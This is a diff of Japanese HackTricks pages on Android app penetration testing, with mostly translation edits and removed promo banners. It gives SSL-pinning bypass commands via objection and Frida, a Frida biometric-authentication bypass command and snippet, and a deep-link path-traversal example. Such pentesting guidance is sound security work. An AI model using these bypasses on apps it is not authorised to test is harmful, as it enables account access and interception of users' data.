開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
> [!WARNING]
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
@ -310,20 +280,20 @@ Androidの**クリップボードベース**のフレームワークは、アプ
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信することを確認してください。
ペンテスターとして、**これらのログを確認することをお勧めします**。
ペンテスターとして、**これらのログを確認することを試みてください**。
**Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないかを確認することが推奨されます。
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないか確認することをお勧めします。
### SQLite DBs
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。なぜなら、**機密情報**（これは脆弱性となる可能性があります）を見つけることができるからです。\
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報（脆弱性となる可能性があります）を見つけることができるかもしれません。\
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルのカラムを列挙します。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を実行してテーブルのカラムを列挙します。
### Drozer (Exploit Activities, Content Providers and Services)
@ -337,7 +307,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスできる可能性があります。
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
@ -351,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン（APIバージョン< 21）でのみ危険なようです。
> [!NOTE]
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
**機密情報の漏洩**
@ -371,7 +341,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **サービスの悪用**
[**サービスとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**（またはしない）を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services)
@ -379,9 +349,9 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **ブロードキャストレシーバーの悪用**
[**ブロードキャストレシーバーとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
ブロードキャストレシーバーは、特定のメッセージを待機します。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers)
### **スキーム/ディープリンクの悪用**
@ -410,8 +380,8 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**パス内のパラメータ**
**ディープリンクがURLのパス内にパラメータを使用しているかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようなものにアクセスすることができます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**（パスの一部がドメイン名として使用される場合）、**アカウント乗っ取り**（CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合）やその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**ディープリンクがURLのパス内にパラメータを使用しているかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようなものにアクセスできます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**（パスの一部がドメイン名として使用される場合）、**アカウント乗っ取り**（CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合）、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**さらなる例**
@ -419,7 +389,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
### トランスポート層の検査と検証の失敗
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を無視し、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることは一般的です。
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることは一般的です。
- **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃（MITM）に対して脆弱になり、攻撃者がデータを復号化できるようになります。
- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
@ -442,9 +412,9 @@ HTTPトラフィックを検査するには、**プロキシツールの証明
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります：
- 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**（下記で説明）を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです：[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **Frida**を使用してこの保護をバイパスすることもできます（以下で説明）。Burp+Frida+Genymotionを使用するためのガイドはこちらです：[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます：`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます（下記で説明）。
- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます（以下で説明）。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください：[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索
@ -492,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません：
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません：
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリの前に画像が読み込まれ、アプリがより速く読み込まれたように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**があります（アクセスするにはrootが必要です）。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります（アクセスするにはrootが必要です）。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Androidは、**FLAG_SECURE**レイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防ぐ方法**を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするのを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -530,28 +500,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
おそらく、あなたはこの種の脆弱性をウェブから知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります：
- **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptおよびプラグインサポートが無効になっていることを確認してください（デフォルトで無効）。 [More info here](webview-attacks.md#javascript-enabled).
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してください（デフォルトで無効）。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要があります（デフォルトで有効） - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください！
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Automatic Analysis
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -566,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます（_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_）。\
また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成すると（アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成）、それも分析できます。
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成すると（アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成）、それも分析できます。
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することもできます（_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`を有効にする必要があります）。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
@ -575,32 +530,32 @@ MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります（VMやDockerでは動作しません）。_注：最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
**MobSF動的アナライザー**は以下を行うことができます：
- **アプリケーションデータをダンプ**（URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル）。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときに押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
- **アプリケーションデータをダンプ**（URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル）。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
- **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム** **情報**を取得
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためにグローバル**プロキシ**設定を行います。テストされたアプリケーションからのトラフィックのみをキャプチャします。
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Frida**
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます（これは"Start Instrumentation"を押した後に表示されます）。\
MobSFは、独自の**Fridaスクリプト**を読み込むこともできます（Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します）。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります（`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます）、それらを**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すだけです（そのスクリプトのログは"**Frida Live Logs**"内で見ることができます）。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます（これは"Start Instrumentation"を押した後に表示されます）。\
MobSFは自分の**Fridaスクリプト**を読み込むこともできます（Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します）。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります（`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます）、それらを**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログが"**Frida Live Logs**"内に表示されます。
![](<../../images/image (419).png>)
さらに、いくつかの補助的なFrida機能があります：
- **読み込まれたクラスを列挙**：すべての読み込まれたクラスを印刷します
- **文字列をキャプチャ**：アプリケーションを使用中にキャプチャされたすべての文字列を印刷します（非常に騒がしい）
- **文字列比較をキャプチャ**：非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**：クラス名（"java.io.File"など）を入力すると、そのクラスのすべてのメソッドを印刷します。
- **読み込まれたクラスを列挙**：すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**：アプリケーションを使用中にキャプチャされたすべての文字列を表示します（非常に騒がしい）
- **文字列比較をキャプチャ**：非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**：クラス名（例："java.io.File"）を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**：パターンでクラスを検索
- **クラスメソッドをトレース**：**クラス全体をトレース**（そのクラスのすべてのメソッドの入力と出力を確認）。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
- **クラスメソッドをトレース**：**クラス全体をトレース**（クラスのすべてのメソッドの入力と出力を確認）。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
**Shell**
@ -616,7 +571,7 @@ receivers
**HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**（BurpやOwasp ZAPなど）に**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探すことができます。
@ -640,7 +595,7 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT
### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、見つかった脆弱性（公開されたアクティビティ、インテント、タップジャッキングなど）を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性（公開されたアクティビティ、インテント、タップジャッキングなど）を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -662,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちの必要に応じて分析するための独自のルールを作成できます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
@ -682,7 +637,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugsフレームワークは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -692,9 +647,9 @@ androbugs.exe -f [APK file]
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。 [`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します：テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -702,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆コンパイルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です：
@ -731,7 +686,7 @@ ProGuardはAndroid SDKの一部として配布され、アプリケーション
APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。
(そのガイドから) 最後に確認したとき、Dexguardの動作モードは次のとおりでした：
（そのガイドから）最後に確認したとき、Dexguardの動作モードは次のとおりでした：
- リソースをInputStreamとして読み込む;
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
@ -741,13 +696,17 @@ APKをデオブフスケートするためのステップバイステップガ
### [DeGuard](http://apk-deguard.com)
**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。**
**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
難読化されたAPKを彼らのプラットフォームにアップロードできます。
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。
### [Simplify](https://github.com/CalebFenton/simplify)
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じように動作しますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化の各タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。
### [APKiD](https://github.com/rednaga/APKiD)
@ -761,7 +720,7 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、逆コンパイルとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、さまざまなセキュリティ専門家や研究者からのラボのコレクションを含んでいます。
## 参考文献
@ -777,19 +736,4 @@ AndroL4bは、逆コンパイルとマルウェア分析のための最新のフ
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう！
{{#include ../../banners/hacktricks-training.md}}

25
src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md
View File

@ -2,15 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
## **方法 1 – 暗号オブジェクトを使用しないバイパス**
ここでの焦点は、認証プロセスにおいて重要な_onAuthenticationSucceeded_コールバックです。WithSecureの研究者は、NULL _CryptoObject_を_onAuthenticationSucceeded(...)_でバイパスするための[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証の自動バイパスを強制します。以下は、Androidの指紋コンテキストでのバイパスを示す簡略化されたスニペットで、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。
ここでの焦点は、認証プロセスにおいて重要な _onAuthenticationSucceeded_ コールバックです。WithSecureの研究者たちは、NULL _CryptoObject_ を _onAuthenticationSucceeded(...)_ でバイパスするための [Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証の自動バイパスを強制します。以下は、Androidの指紋コンテキストにおけるバイパスを示す簡略化されたスニペットで、完全なアプリケーションは [GitHub](https://github.com/St3v3nsS/InsecureBanking) で入手可能です。
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -23,7 +17,7 @@ Fridaスクリプトを実行するコマンド：
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
```
## **方法2 – 例外処理アプローチ**
## **方法 2 – 例外処理アプローチ**
Another [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes _onAuthenticationSucceeded_ with a _CryptoObject_ that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke _onAuthenticationSucceeded_ and handle the _javax.crypto.IllegalBlockSizeException_ in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key.
@ -44,7 +38,7 @@ Hooking FingerprintManager.authenticate()...
Xposed や Frida のようなインスツルメンテーション フレームワークは、アプリケーションのメソッドにランタイムでフックするために使用できます。指紋認証の場合、これらのフレームワークは次のことができます：
1. **認証コールバックをモックする**: `BiometricPrompt.AuthenticationCallback` の `onAuthenticationSucceeded`、`onAuthenticationFailed`、または `onAuthenticationError` メソッドにフックすることで、指紋認証プロセスの結果を制御できます。
2. **SSL ピンニングをバイパスする**: これにより、攻撃者はクライアントとサーバー間のトラフィックを傍受し、変更することができ、認証プロセスを変更したり、機密データを盗んだりする可能性があります。
